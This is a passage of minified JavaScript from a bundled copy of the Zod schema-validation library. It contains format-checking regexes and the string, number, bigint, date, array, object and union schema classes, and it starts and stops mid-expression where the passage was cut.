]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/,rr=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,nr=/^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/,sr=/^([0-9a-zA-Z-_]{4})*(([0-9a-zA-Z-_]{2}(==)?)|([0-9a-zA-Z-_]{3}(=)?))?$/,ct="((\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-((0[13578]|1[02])-(0[1-9]|[12]\\d|3[01])|(0[469]|11)-(0[1-9]|[12]\\d|30)|(02)-(0[1-9]|1\\d|2[0-8])))",ar=new RegExp(`^${ct}$`);function ut(t){let e="[0-5]\\d";t.precision?e=`${e}\\.\\d{${t.precision}}`:t.precision==null&&(e=`${e}(\\.\\d+)?`);let r=t.precision?"+":"?";return`([01]\\d|2[0-3]):[0-5]\\d(:${e})${r}`}function ir(t){return new RegExp(`^${ut(t)}$`)}function dt(t){let e=`${ct}T${ut(t)}`,r=[];return r.push(t.local?"Z?":"Z"),t.offset&&r.push("([+-]\\d{2}:?\\d{2})"),e=`${e}(${r.join("|")})`,new RegExp(`^${e}$`)}function or(t,e){return!!((e==="v4"||!e)&&Qt.test(t)||(e==="v6"||!e)&&tr.test(t))}function cr(t,e){if(!Gt.test(t))return!1;try{let[r]=t.split(".");if(!r)return!1;let n=r.replace(/-/g,"+").replace(/_/g,"/").padEnd(r.length+(4-r.length%4)%4,"="),s=JSON.parse(atob(n));return!(typeof s!="object"||s===null||"typ"in s&&s?.typ!=="JWT"||!s.alg||e&&s.alg!==e)}catch{return!1}}function ur(t,e){return!!((e==="v4"||!e)&&er.test(t)||(e==="v6"||!e)&&rr.test(t))}var K=class t extends x{_parse(e){if(this._def.coerce&&(e.data=String(e.data)),this._getType(e)!==p.string){let a=this._getOrReturnCtx(e);return f(a,{code:l.invalid_type,expected:p.string,received:a.parsedType}),g}let n=new C,s;for(let a of this._def.checks)if(a.kind==="min")e.data.length<a.value&&(s=this._getOrReturnCtx(e,s),f(s,{code:l.too_small,minimum:a.value,type:"string",inclusive:!0,exact:!1,message:a.message}),n.dirty());else if(a.kind==="max")e.data.length>a.value&&(s=this._getOrReturnCtx(e,s),f(s,{code:l.too_big,maximum:a.value,type:"string",inclusive:!0,exact:!1,message:a.message}),n.dirty());else if(a.kind==="length"){let i=e.data.length>a.value,o=e.data.length<a.value;(i||o)&&(s=this._getOrReturnCtx(e,s),i?f(s,{code:l.too_big,maximum:a.value,type:"string",inclusive:!0,exact:!0,message:a.message}):o&&f(s,{code:l.too_small,minimum:a.value,type:"string",inclusive:!0,exact:!0,message:a.message}),n.dirty())}else if(a.kind==="email")Kt.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"email",code:l.invalid_string,message:a.message}),n.dirty());else if(a.kind==="emoji")He||(He=new RegExp(Xt,"u")),He.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"emoji",code:l.invalid_string,message:a.message}),n.dirty());else if(a.kind==="uuid")Wt.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"uuid",code:l.invalid_string,message:a.message}),n.dirty());else if(a.kind==="nanoid")Ht.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"nanoid",code:l.invalid_string,message:a.message}),n.dirty());else if(a.kind==="cuid")qt.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"cuid",code:l.invalid_string,message:a.message}),n.dirty());else if(a.kind==="cuid2")Jt.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"cuid2",code:l.invalid_string,message:a.message}),n.dirty());else if(a.kind==="ulid")Ft.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"ulid",code:l.invalid_string,message:a.message}),n.dirty());else if(a.kind==="url")try{new URL(e.data)}catch{s=this._getOrReturnCtx(e,s),f(s,{validation:"url",code:l.invalid_string,message:a.message}),n.dirty()}else a.kind==="regex"?(a.regex.lastIndex=0,a.regex.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"regex",code:l.invalid_string,message:a.message}),n.dirty())):a.kind==="trim"?e.data=e.data.trim():a.kind==="includes"?e.data.includes(a.value,a.position)||(s=this._getOrReturnCtx(e,s),f(s,{code:l.invalid_string,validation:{includes:a.value,position:a.position},message:a.message}),n.dirty()):a.kind==="toLowerCase"?e.data=e.data.toLowerCase():a.kind==="toUpperCase"?e.data=e.data.toUpperCase():a.kind==="startsWith"?e.data.startsWith(a.value)||(s=this._getOrReturnCtx(e,s),f(s,{code:l.invalid_string,validation:{startsWith:a.value},message:a.message}),n.dirty()):a.kind==="endsWith"?e.data.endsWith(a.value)||(s=this._getOrReturnCtx(e,s),f(s,{code:l.invalid_string,validation:{endsWith:a.value},message:a.message}),n.dirty()):a.kind==="datetime"?dt(a).test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{code:l.invalid_string,validation:"datetime",message:a.message}),n.dirty()):a.kind==="date"?ar.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{code:l.invalid_string,validation:"date",message:a.message}),n.dirty()):a.kind==="time"?ir(a).test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{code:l.invalid_string,validation:"time",message:a.message}),n.dirty()):a.kind==="duration"?Yt.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"duration",code:l.invalid_string,message:a.message}),n.dirty()):a.kind==="ip"?or(e.data,a.version)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"ip",code:l.invalid_string,message:a.message}),n.dirty()):a.kind==="jwt"?cr(e.data,a.alg)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"jwt",code:l.invalid_string,message:a.message}),n.dirty()):a.kind==="cidr"?ur(e.data,a.version)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"cidr",code:l.invalid_string,message:a.message}),n.dirty()):a.kind==="base64"?nr.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"base64",code:l.invalid_string,message:a.message}),n.dirty()):a.kind==="base64url"?sr.test(e.data)||(s=this._getOrReturnCtx(e,s),f(s,{validation:"base64url",code:l.invalid_string,message:a.message}),n.dirty()):k.assertNever(a);return{status:n.value,value:e.data}}_regex(e,r,n){return this.refinement(s=>e.test(s),{validation:r,code:l.invalid_string,...m.errToObj(n)})}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}email(e){return this._addCheck({kind:"email",...m.errToObj(e)})}url(e){return this._addCheck({kind:"url",...m.errToObj(e)})}emoji(e){return this._addCheck({kind:"emoji",...m.errToObj(e)})}uuid(e){return this._addCheck({kind:"uuid",...m.errToObj(e)})}nanoid(e){return this._addCheck({kind:"nanoid",...m.errToObj(e)})}cuid(e){return this._addCheck({kind:"cuid",...m.errToObj(e)})}cuid2(e){return this._addCheck({kind:"cuid2",...m.errToObj(e)})}ulid(e){return this._addCheck({kind:"ulid",...m.errToObj(e)})}base64(e){return this._addCheck({kind:"base64",...m.errToObj(e)})}base64url(e){return this._addCheck({kind:"base64url",...m.errToObj(e)})}jwt(e){return this._addCheck({kind:"jwt",...m.errToObj(e)})}ip(e){return this._addCheck({kind:"ip",...m.errToObj(e)})}cidr(e){return this._addCheck({kind:"cidr",...m.errToObj(e)})}datetime(e){return typeof e=="string"?this._addCheck({kind:"datetime",precision:null,offset:!1,local:!1,message:e}):this._addCheck({kind:"datetime",precision:typeof e?.precision>"u"?null:e?.precision,offset:e?.offset??!1,local:e?.local??!1,...m.errToObj(e?.message)})}date(e){return this._addCheck({kind:"date",message:e})}time(e){return typeof e=="string"?this._addCheck({kind:"time",precision:null,message:e}):this._addCheck({kind:"time",precision:typeof e?.precision>"u"?null:e?.precision,...m.errToObj(e?.message)})}duration(e){return this._addCheck({kind:"duration",...m.errToObj(e)})}regex(e,r){return this._addCheck({kind:"regex",regex:e,...m.errToObj(r)})}includes(e,r){return this._addCheck({kind:"includes",value:e,position:r?.position,...m.errToObj(r?.message)})}startsWith(e,r){return this._addCheck({kind:"startsWith",value:e,...m.errToObj(r)})}endsWith(e,r){return this._addCheck({kind:"endsWith",value:e,...m.errToObj(r)})}min(e,r){return this._addCheck({kind:"min",value:e,...m.errToObj(r)})}max(e,r){return this._addCheck({kind:"max",value:e,...m.errToObj(r)})}length(e,r){return this._addCheck({kind:"length",value:e,...m.errToObj(r)})}nonempty(e){return this.min(1,m.errToObj(e))}trim(){return new t({...this._def,checks:[...this._def.checks,{kind:"trim"}]})}toLowerCase(){return new t({...this._def,checks:[...this._def.checks,{kind:"toLowerCase"}]})}toUpperCase(){return new t({...this._def,checks:[...this._def.checks,{kind:"toUpperCase"}]})}get isDatetime(){return!!this._def.checks.find(e=>e.kind==="datetime")}get isDate(){return!!this._def.checks.find(e=>e.kind==="date")}get isTime(){return!!this._def.checks.find(e=>e.kind==="time")}get isDuration(){return!!this._def.checks.find(e=>e.kind==="duration")}get isEmail(){return!!this._def.checks.find(e=>e.kind==="email")}get isURL(){return!!this._def.checks.find(e=>e.kind==="url")}get isEmoji(){return!!this._def.checks.find(e=>e.kind==="emoji")}get isUUID(){return!!this._def.checks.find(e=>e.kind==="uuid")}get isNANOID(){return!!this._def.checks.find(e=>e.kind==="nanoid")}get isCUID(){return!!this._def.checks.find(e=>e.kind==="cuid")}get isCUID2(){return!!this._def.checks.find(e=>e.kind==="cuid2")}get isULID(){return!!this._def.checks.find(e=>e.kind==="ulid")}get isIP(){return!!this._def.checks.find(e=>e.kind==="ip")}get isCIDR(){return!!this._def.checks.find(e=>e.kind==="cidr")}get isBase64(){return!!this._def.checks.find(e=>e.kind==="base64")}get isBase64url(){return!!this._def.checks.find(e=>e.kind==="base64url")}get minLength(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e}get maxLength(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.value<e)&&(e=r.value);return e}};K.create=t=>new K({checks:[],typeName:_.ZodString,coerce:t?.coerce??!1,...v(t)});function dr(t,e){let r=(t.toString().split(".")[1]||"").length,n=(e.toString().split(".")[1]||"").length,s=r>n?r:n,a=Number.parseInt(t.toFixed(s).replace(".","")),i=Number.parseInt(e.toFixed(s).replace(".",""));return a%i/10**s}var se=class t extends x{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte,this.step=this.multipleOf}_parse(e){if(this._def.coerce&&(e.data=Number(e.data)),this._getType(e)!==p.number){let a=this._getOrReturnCtx(e);return f(a,{code:l.invalid_type,expected:p.number,received:a.parsedType}),g}let n,s=new C;for(let a of this._def.checks)a.kind==="int"?k.isInteger(e.data)||(n=this._getOrReturnCtx(e,n),f(n,{code:l.invalid_type,expected:"integer",received:"float",message:a.message}),s.dirty()):a.kind==="min"?(a.inclusive?e.data<a.value:e.data<=a.value)&&(n=this._getOrReturnCtx(e,n),f(n,{code:l.too_small,minimum:a.value,type:"number",inclusive:a.inclusive,exact:!1,message:a.message}),s.dirty()):a.kind==="max"?(a.inclusive?e.data>a.value:e.data>=a.value)&&(n=this._getOrReturnCtx(e,n),f(n,{code:l.too_big,maximum:a.value,type:"number",inclusive:a.inclusive,exact:!1,message:a.message}),s.dirty()):a.kind==="multipleOf"?dr(e.data,a.value)!==0&&(n=this._getOrReturnCtx(e,n),f(n,{code:l.not_multiple_of,multipleOf:a.value,message:a.message}),s.dirty()):a.kind==="finite"?Number.isFinite(e.data)||(n=this._getOrReturnCtx(e,n),f(n,{code:l.not_finite,message:a.message}),s.dirty()):k.assertNever(a);return{status:s.value,value:e.data}}gte(e,r){return this.setLimit("min",e,!0,m.toString(r))}gt(e,r){return this.setLimit("min",e,!1,m.toString(r))}lte(e,r){return this.setLimit("max",e,!0,m.toString(r))}lt(e,r){return this.setLimit("max",e,!1,m.toString(r))}setLimit(e,r,n,s){return new t({...this._def,checks:[...this._def.checks,{kind:e,value:r,inclusive:n,message:m.toString(s)}]})}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}int(e){return this._addCheck({kind:"int",message:m.toString(e)})}positive(e){return this._addCheck({kind:"min",value:0,inclusive:!1,message:m.toString(e)})}negative(e){return this._addCheck({kind:"max",value:0,inclusive:!1,message:m.toString(e)})}nonpositive(e){return this._addCheck({kind:"max",value:0,inclusive:!0,message:m.toString(e)})}nonnegative(e){return this._addCheck({kind:"min",value:0,inclusive:!0,message:m.toString(e)})}multipleOf(e,r){return this._addCheck({kind:"multipleOf",value:e,message:m.toString(r)})}finite(e){return this._addCheck({kind:"finite",message:m.toString(e)})}safe(e){return this._addCheck({kind:"min",inclusive:!0,value:Number.MIN_SAFE_INTEGER,message:m.toString(e)})._addCheck({kind:"max",inclusive:!0,value:Number.MAX_SAFE_INTEGER,message:m.toString(e)})}get minValue(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e}get maxValue(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.value<e)&&(e=r.value);return e}get isInt(){return!!this._def.checks.find(e=>e.kind==="int"||e.kind==="multipleOf"&&k.isInteger(e.value))}get isFinite(){let e=null,r=null;for(let n of this._def.checks){if(n.kind==="finite"||n.kind==="int"||n.kind==="multipleOf")return!0;n.kind==="min"?(r===null||n.value>r)&&(r=n.value):n.kind==="max"&&(e===null||n.value<e)&&(e=n.value)}return Number.isFinite(r)&&Number.isFinite(e)}};se.create=t=>new se({checks:[],typeName:_.ZodNumber,coerce:t?.coerce||!1,...v(t)});var ae=class t extends x{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte}_parse(e){if(this._def.coerce)try{e.data=BigInt(e.data)}catch{return this._getInvalidInput(e)}if(this._getType(e)!==p.bigint)return this._getInvalidInput(e);let n,s=new C;for(let a of this._def.checks)a.kind==="min"?(a.inclusive?e.data<a.value:e.data<=a.value)&&(n=this._getOrReturnCtx(e,n),f(n,{code:l.too_small,type:"bigint",minimum:a.value,inclusive:a.inclusive,message:a.message}),s.dirty()):a.kind==="max"?(a.inclusive?e.data>a.value:e.data>=a.value)&&(n=this._getOrReturnCtx(e,n),f(n,{code:l.too_big,type:"bigint",maximum:a.value,inclusive:a.inclusive,message:a.message}),s.dirty()):a.kind==="multipleOf"?e.data%a.value!==BigInt(0)&&(n=this._getOrReturnCtx(e,n),f(n,{code:l.not_multiple_of,multipleOf:a.value,message:a.message}),s.dirty()):k.assertNever(a);return{status:s.value,value:e.data}}_getInvalidInput(e){let r=this._getOrReturnCtx(e);return f(r,{code:l.invalid_type,expected:p.bigint,received:r.parsedType}),g}gte(e,r){return this.setLimit("min",e,!0,m.toString(r))}gt(e,r){return this.setLimit("min",e,!1,m.toString(r))}lte(e,r){return this.setLimit("max",e,!0,m.toString(r))}lt(e,r){return this.setLimit("max",e,!1,m.toString(r))}setLimit(e,r,n,s){return new t({...this._def,checks:[...this._def.checks,{kind:e,value:r,inclusive:n,message:m.toString(s)}]})}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}positive(e){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!1,message:m.toString(e)})}negative(e){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!1,message:m.toString(e)})}nonpositive(e){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!0,message:m.toString(e)})}nonnegative(e){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!0,message:m.toString(e)})}multipleOf(e,r){return this._addCheck({kind:"multipleOf",value:e,message:m.toString(r)})}get minValue(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e}get maxValue(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.value<e)&&(e=r.value);return e}};ae.create=t=>new ae({checks:[],typeName:_.ZodBigInt,coerce:t?.coerce??!1,...v(t)});var ie=class extends x{_parse(e){if(this._def.coerce&&(e.data=!!e.data),this._getType(e)!==p.boolean){let n=this._getOrReturnCtx(e);return f(n,{code:l.invalid_type,expected:p.boolean,received:n.parsedType}),g}return E(e.data)}};ie.create=t=>new ie({typeName:_.ZodBoolean,coerce:t?.coerce||!1,...v(t)});var oe=class t extends x{_parse(e){if(this._def.coerce&&(e.data=new Date(e.data)),this._getType(e)!==p.date){let a=this._getOrReturnCtx(e);return f(a,{code:l.invalid_type,expected:p.date,received:a.parsedType}),g}if(Number.isNaN(e.data.getTime())){let a=this._getOrReturnCtx(e);return f(a,{code:l.invalid_date}),g}let n=new C,s;for(let a of this._def.checks)a.kind==="min"?e.data.getTime()<a.value&&(s=this._getOrReturnCtx(e,s),f(s,{code:l.too_small,message:a.message,inclusive:!0,exact:!1,minimum:a.value,type:"date"}),n.dirty()):a.kind==="max"?e.data.getTime()>a.value&&(s=this._getOrReturnCtx(e,s),f(s,{code:l.too_big,message:a.message,inclusive:!0,exact:!1,maximum:a.value,type:"date"}),n.dirty()):k.assertNever(a);return{status:n.value,value:new Date(e.data.getTime())}}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}min(e,r){return this._addCheck({kind:"min",value:e.getTime(),message:m.toString(r)})}max(e,r){return this._addCheck({kind:"max",value:e.getTime(),message:m.toString(r)})}get minDate(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e!=null?new Date(e):null}get maxDate(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.value<e)&&(e=r.value);return e!=null?new Date(e):null}};oe.create=t=>new oe({checks:[],coerce:t?.coerce||!1,typeName:_.ZodDate,...v(t)});var Oe=class extends x{_parse(e){if(this._getType(e)!==p.symbol){let n=this._getOrReturnCtx(e);return f(n,{code:l.invalid_type,expected:p.symbol,received:n.parsedType}),g}return E(e.data)}};Oe.create=t=>new Oe({typeName:_.ZodSymbol,...v(t)});var ce=class extends x{_parse(e){if(this._getType(e)!==p.undefined){let n=this._getOrReturnCtx(e);return f(n,{code:l.invalid_type,expected:p.undefined,received:n.parsedType}),g}return E(e.data)}};ce.create=t=>new ce({typeName:_.ZodUndefined,...v(t)});var ue=class extends x{_parse(e){if(this._getType(e)!==p.null){let n=this._getOrReturnCtx(e);return f(n,{code:l.invalid_type,expected:p.null,received:n.parsedType}),g}return E(e.data)}};ue.create=t=>new ue({typeName:_.ZodNull,...v(t)});var X=class extends x{constructor(){super(...arguments),this._any=!0}_parse(e){return E(e.data)}};X.create=t=>new X({typeName:_.ZodAny,...v(t)});var H=class extends x{constructor(){super(...arguments),this._unknown=!0}_parse(e){return E(e.data)}};H.create=t=>new H({typeName:_.ZodUnknown,...v(t)});var L=class extends x{_parse(e){let r=this._getOrReturnCtx(e);return f(r,{code:l.invalid_type,expected:p.never,received:r.parsedType}),g}};L.create=t=>new L({typeName:_.ZodNever,...v(t)});var Te=class extends x{_parse(e){if(this._getType(e)!==p.undefined){let n=this._getOrReturnCtx(e);return f(n,{code:l.invalid_type,expected:p.void,received:n.parsedType}),g}return E(e.data)}};Te.create=t=>new Te({typeName:_.ZodVoid,...v(t)});var G=class t extends x{_parse(e){let{ctx:r,status:n}=this._processInputParams(e),s=this._def;if(r.parsedType!==p.array)return f(r,{code:l.invalid_type,expected:p.array,received:r.parsedType}),g;if(s.exactLength!==null){let i=r.data.length>s.exactLength.value,o=r.data.length<s.exactLength.value;(i||o)&&(f(r,{code:i?l.too_big:l.too_small,minimum:o?s.exactLength.value:void 0,maximum:i?s.exactLength.value:void 0,type:"array",inclusive:!0,exact:!0,message:s.exactLength.message}),n.dirty())}if(s.minLength!==null&&r.data.length<s.minLength.value&&(f(r,{code:l.too_small,minimum:s.minLength.value,type:"array",inclusive:!0,exact:!1,message:s.minLength.message}),n.dirty()),s.maxLength!==null&&r.data.length>s.maxLength.value&&(f(r,{code:l.too_big,maximum:s.maxLength.value,type:"array",inclusive:!0,exact:!1,message:s.maxLength.message}),n.dirty()),r.common.async)return Promise.all([...r.data].map((i,o)=>s.type._parseAsync(new Z(r,i,r.path,o)))).then(i=>C.mergeArray(n,i));let a=[...r.data].map((i,o)=>s.type._parseSync(new Z(r,i,r.path,o)));return C.mergeArray(n,a)}get element(){return this._def.type}min(e,r){return new t({...this._def,minLength:{value:e,message:m.toString(r)}})}max(e,r){return new t({...this._def,maxLength:{value:e,message:m.toString(r)}})}length(e,r){return new t({...this._def,exactLength:{value:e,message:m.toString(r)}})}nonempty(e){return this.min(1,e)}};G.create=(t,e)=>new G({type:t,minLength:null,maxLength:null,exactLength:null,typeName:_.ZodArray,...v(e)});function we(t){if(t instanceof N){let e={};for(let r in t.shape){let n=t.shape[r];e[r]=$.create(we(n))}return new N({...t._def,shape:()=>e})}else return t instanceof G?new G({...t._def,type:we(t.element)}):t instanceof $?$.create(we(t.unwrap())):t instanceof q?q.create(we(t.unwrap())):t instanceof U?U.create(t.items.map(e=>we(e))):t}var N=class t extends x{constructor(){super(...arguments),this._cached=null,this.nonstrict=this.passthrough,this.augment=this.extend}_getCached(){if(this._cached!==null)return this._cached;let e=this._def.shape(),r=k.objectKeys(e);return this._cached={shape:e,keys:r},this._cached}_parse(e){if(this._getType(e)!==p.object){let u=this._getOrReturnCtx(e);return f(u,{code:l.invalid_type,expected:p.object,received:u.parsedType}),g}let{status:n,ctx:s}=this._processInputParams(e),{shape:a,keys:i}=this._getCached(),o=[];if(!(this._def.catchall instanceof L&&this._def.unknownKeys==="strip"))for(let u in s.data)i.includes(u)||o.push(u);let c=[];for(let u of i){let h=a[u],w=s.data[u];c.push({key:{status:"valid",value:u},value:h._parse(new Z(s,w,s.path,u)),alwaysSet:u in s.data})}if(this._def.catchall instanceof L){let u=this._def.unknownKeys;if(u==="passthrough")for(let h of o)c.push({key:{status:"valid",value:h},value:{status:"valid",value:s.data[h]}});else if(u==="strict")o.length>0&&(f(s,{code:l.unrecognized_keys,keys:o}),n.dirty());else if(u!=="strip")throw new Error("Internal ZodObject error: invalid unknownKeys value.")}else{let u=this._def.catchall;for(let h of o){let w=s.data[h];c.push({key:{status:"valid",value:h},value:u._parse(new Z(s,w,s.path,h)),alwaysSet:h in s.data})}}return s.common.async?Promise.resolve().then(async()=>{let u=[];for(let h of c){let w=await h.key,V=await h.value;u.push({key:w,value:V,alwaysSet:h.alwaysSet})}return u}).then(u=>C.mergeObjectSync(n,u)):C.mergeObjectSync(n,c)}get shape(){return this._def.shape()}strict(e){return m.errToObj,new t({...this._def,unknownKeys:"strict",...e!==void 0?{errorMap:(r,n)=>{let s=this._def.errorMap?.(r,n).message??n.defaultError;return r.code==="unrecognized_keys"?{message:m.errToObj(e).message??s}:{message:s}}}:{}})}strip(){return new t({...this._def,unknownKeys:"strip"})}passthrough(){return new t({...this._def,unknownKeys:"passthrough"})}extend(e){return new t({...this._def,shape:()=>({...this._def.shape(),...e})})}merge(e){return new t({unknownKeys:e._def.unknownKeys,catchall:e._def.catchall,shape:()=>({...this._def.shape(),...e._def.shape()}),typeName:_.ZodObject})}setKey(e,r){return this.augment({[e]:r})}catchall(e){return new t({...this._def,catchall:e})}pick(e){let r={};for(let n of k.objectKeys(e))e[n]&&this.shape[n]&&(r[n]=this.shape[n]);return new t({...this._def,shape:()=>r})}omit(e){let r={};for(let n of k.objectKeys(this.shape))e[n]||(r[n]=this.shape[n]);return new t({...this._def,shape:()=>r})}deepPartial(){return we(this)}partial(e){let r={};for(let n of k.objectKeys(this.shape)){let s=this.shape[n];e&&!e[n]?r[n]=s:r[n]=s.optional()}return new t({...this._def,shape:()=>r})}required(e){let r={};for(let n of k.objectKeys(this.shape))if(e&&!e[n])r[n]=this.shape[n];else{let a=this.shape[n];for(;a instanceof $;)a=a._def.innerType;r[n]=a}return new t({...this._def,shape:()=>r})}keyof(){return lt(k.objectKeys(this.shape))}};N.create=(t,e)=>new N({shape:()=>t,unknownKeys:"strip",catchall:L.create(),typeName:_.ZodObject,...v(e)});N.strictCreate=(t,e)=>new N({shape:()=>t,unknownKeys:"strict",catchall:L.create(),typeName:_.ZodObject,...v(e)});N.lazycreate=(t,e)=>new N({shape:t,unknownKeys:"strip",catchall:L.create(),typeName:_.ZodObject,...v(e)});var de=class extends x{_parse(e){let{ctx:r}=this._processInputParams(e),n=this._def.options;function s(a){for(let o of a)if(o.result.status==="valid")return o.result;for(let o of a)if(o.result.status==="dirty")return r.common.issues.push(...o.ctx.common.issues),o.result;let i=a.map(o=>new j(o.ctx.common.issues));return f(r,{code:l.invalid_union,unionErrors:i}),g}if(r.common.async)return Promise.all(n.map(async a=>{let i={...r,common:{...r.common,issues:[]},parent:null};return{result:await a._parseAsync({data:r.data,path:r.path,parent:i}),ctx:i}})).then(s);{let a,i=[];for(let c of n){let u={...r,common:{...r.common,issues:[]},parent:null},h=c._parseSync({data:r.data,path:r.path,parent:u});if(h.status==="valid")return h;h.status==="dirty"&&!a&&(a={result:h,ctx:u}),u.common.issues.length&&i.push(u.common.issues)}if(a)return r.common.issues.push(...a.ctx.common.issues),a.result;let o=i.map(c=>new j(c));return f(r,{code:l.invalid_union,unionErrors:o}),g}}get options(){return this._def.options}};de.create=(t,e)=>new de({options:t,typeName:_.ZodUnion,...v(e)});var W=t=>t instanceof fe?W(t.schema):t instanceof z?W(t.innerType()):t instanceof pe?[t.value]:t instanceof me?t.options:t instanceof he?k.objectValues(t.enum):t instanceof ge?W(t._def.innerType):t instanceof ce?[void 0]:t instanceof ue?[null]:t instanceof $?[void 0,...W(t.unwrap())]:t instanceof q?[null,...W(t.unwrap())]:t instanceof je||t instanceof _e?W(t.unwrap()):t instanceof ye?W(t._def.innerType):[],$e=class t extends x{_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==p.object)return f(r,{code:l.invalid_type,expected:p.object,received:r.parsedType}),g;let n=this.discriminator,s=r.data[n],a=this.optionsMap.get(s);return a?r.common.async?a._parseAsync({data:r.data,path:r.path,parent:r}):a._parseSync({data:r.data,path:r.path,parent:r}):(f(r,{code:l.invalid_union_discriminator,options:Array.from(this.optionsMap.keys()),path:[n]}),g)}get discriminator(){return this._def.discriminator}get options(){return this._def.options}get optionsMap(){return this._def.optionsMap}static create(e,r,n){let s=new Map;for(let a of r){let i=W(a.shape[e]);if(!i.length)throw new Error(`A discriminator value for key \`${e}\` could not be extracted from all schema options`);for(let o of i){if(s.has(o))throw new Error(`Discriminator property ${String(e)} has duplicate value ${String(o)}`);s.set(o,a)}}return new t({typeName:_.ZodDiscriminatedUnion,discriminator:e,options:r,optionsMap:s,...v(n)})}};function Ge(t,e){let r=B(t),n=B(e);if(t===e)return{valid:!0,data:t};if(r===p.object&&n===p.object){let s=k.objectKeys(e),a=k.objectKeys(t).filter(o=>s.indexOf(o)!==-1),i={...t,...e};for(let o of a){let c=Ge(t[o],e[o]);if(!c.valid)return{valid:!1};i[o]=c.data}return{valid:!0,data:i}}else if(r===p.array&&n===p.array){if(t.length!==e.length)return{valid:!1};let s=[];for(let a=0;a<t.length;a++){let i=t[a],o=e[a],c=Ge(i,o);if(!c.valid)return{valid:!1};s.push(c.data)}return{valid:!0,data:s}}else return r===p.date&&n===p.date&&+t==+e?{valid:!0,data:t}:{valid:!1}}var le=class extends x{_parse(e){let{status:r,ctx:n}=this._processInputParams(e),s=(a,i)=>{if(Ve(a)||Ve(i))return g;let o=Ge(a.value,i.value);return o.valid?((Pe(a)||Pe(i))&&r.dirty(),{status:r.value,value:o.data}):(f(n,{code:l.invalid_intersection_types}),g)};return n.common.async?Promise.all([this._def.left._parseAsync({data:n.data,path:n.path,parent:n}),this._def.right._parseAsync({data:n.data,path:n.path,parent:n})]).then(([a,i])=>s(a,i)):s(this._def.left._parseSync({data:n.data,path:n.path,parent:n}),this._def.right._parseSync({data:n.data,path:n.path,parent:n}))}};le.create=(t,e,r)=>new le({left:t,right:e,typeName:_.ZodIntersection,...v(r)});var U=class t extends x{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==p.array)return f(n,{code:l.invalid_type,expected:p.array,received:n.parsedType}),g;if(n.data.length<this._def.items.length)return f(n,{code:l.too_small,minimum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),g;!this._def.rest&&n.data.length>this._def.items.length&&(f(n,{code:l.too_big,maximum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),r.dirty());let a=[...n.data].map((i,o)=>{let c=this._def.items[o]||this._def.rest;return c?c._parse(new 